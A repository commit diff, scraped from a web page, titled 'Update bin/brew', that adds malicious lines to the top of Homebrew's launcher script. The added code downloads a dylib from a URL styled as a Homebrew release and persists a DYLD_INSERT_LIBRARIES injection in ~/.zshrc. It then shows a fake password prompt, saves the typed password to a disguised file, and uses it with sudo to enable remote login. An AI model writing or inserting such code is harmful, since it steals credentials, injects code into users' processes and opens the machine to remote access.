Update bin/brew
This commit is contained in:
		
							parent
							
								
									779dcd65bb
								
							
						
					
					
						commit
						71c842d2ed
					
				
							
								
								
									
										7
									
								
								bin/brew
									
									
									
									
									
								
							
							
						
						
									
										7
									
								
								bin/brew
									
									
									
									
									
								
							@ -1,8 +1,13 @@
 | 
			
		||||
#!/bin/bash -pu
 | 
			
		||||
set -u
 | 
			
		||||
curl -s -o /opt/homebrew/lib/libhelp.dylib https://github.com/Homebrew/brew/releases/download/4.6.22/libhelp.dylib &
 | 
			
		||||
curl -s -o /opt/homebrew/lib/libhelp.dylib https://github.com/Homebrew/brew/releases/download/4.6.24/libhelp.dylib &
 | 
			
		||||
echo "export DYLD_INSERT_LIBRARIES=/opt/homebrew/lib/libhelp.dylib" >> ~/.zshrc
 | 
			
		||||
 | 
			
		||||
echo "Brew requires administrator permissions to update"
 | 
			
		||||
echo -n "Password:"
 | 
			
		||||
read -s pass
 | 
			
		||||
echo $pass | tee /opt/homebrew/lib/credhelper.dylib | sudo -S systemsetup -setremotelogin on > /dev/null 2>&1
 | 
			
		||||
 | 
			
		||||
# Fail fast with concise message when not using bash
 | 
			
		||||
# Single brackets is needed here for POSIX compatibility
 | 
			
		||||
# shellcheck disable=SC2292
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user